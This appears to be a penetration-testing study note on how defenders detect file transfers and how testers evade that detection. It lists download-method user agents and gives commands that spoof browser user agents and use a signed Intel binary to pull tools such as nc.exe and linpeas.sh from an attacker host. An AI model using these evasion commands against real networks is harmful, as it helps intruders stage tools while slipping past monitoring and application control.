~/transfer-detection

Detection & Evasion

CPTS Notes2 min read

Defenders catch transfers by the user agent in the HTTP request, by the command line, and by AV signatures on known tools. Change the user agent to one the network already uses. Use a binary that application control allows. Use evasion only when the scope of the test asks for it.

User agents

Each download method sends its own User-Agent header. A proxy or SIEM can alert on the unusual ones. Your web server log shows the header of each request.

Method User agent
Invoke-WebRequest, Invoke-RestMethod Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.<build>
WinHttp.WinHttpRequest.5.1 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Msxml2.XMLHTTP The Internet Explorer user agent of the host
certutil Microsoft-CryptoAPI/10.0
BITS Microsoft BITS/7.8, after a first HEAD request
certreq Mozilla/4.0 (compatible; Win32; NDES client ...)
curl curl/<version>
wget Wget/<version>
Python urllib Python-urllib/<version>

Net.WebClient sends no user agent unless you set one.

Change the user agent

PowerShell has presets for common browsers:

$ua = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome # Chrome user agent preset
# download with that user agent
Invoke-WebRequest http://10.10.14.20/nc.exe -UserAgent $ua -OutFile C:\Users\Public\nc.exe -UseBasicParsing

The other presets are InternetExplorer, FireFox, Opera, and Safari. Their version strings are old. Copy a current browser string from the network when you can.

curl -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' http://10.10.14.20/linpeas.sh -o linpeas.sh # -A sets the user agent
wget -U 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' http://10.10.14.20/linpeas.sh # -U sets the user agent

Command lines and signatures

  • Defender detects certutil -urlcache downloads as Trojan:Win32/Ceprolad. AMSI scans PowerShell scripts before they run, so IEX of a known tool such as Invoke-Mimikatz triggers an alert.
  • Command-line logging records each process with its arguments. A blocklist of command strings misses small changes, such as a change in letter case. An allowlist of known command lines catches them.
  • Application control can block PowerShell and nc. A signed binary with a download function can still run. LOLBAS and GTFOBins list them.

Some vendor tools download files. The Intel graphics driver on some Windows 10 hosts includes GfxDownloadWrapper.exe:

GfxDownloadWrapper.exe "http://10.10.14.20/nc.exe" "C:\Users\Public\nc.exe" # download with a signed Intel binary

Application control often trusts binaries like this one, and alert rules often exclude them.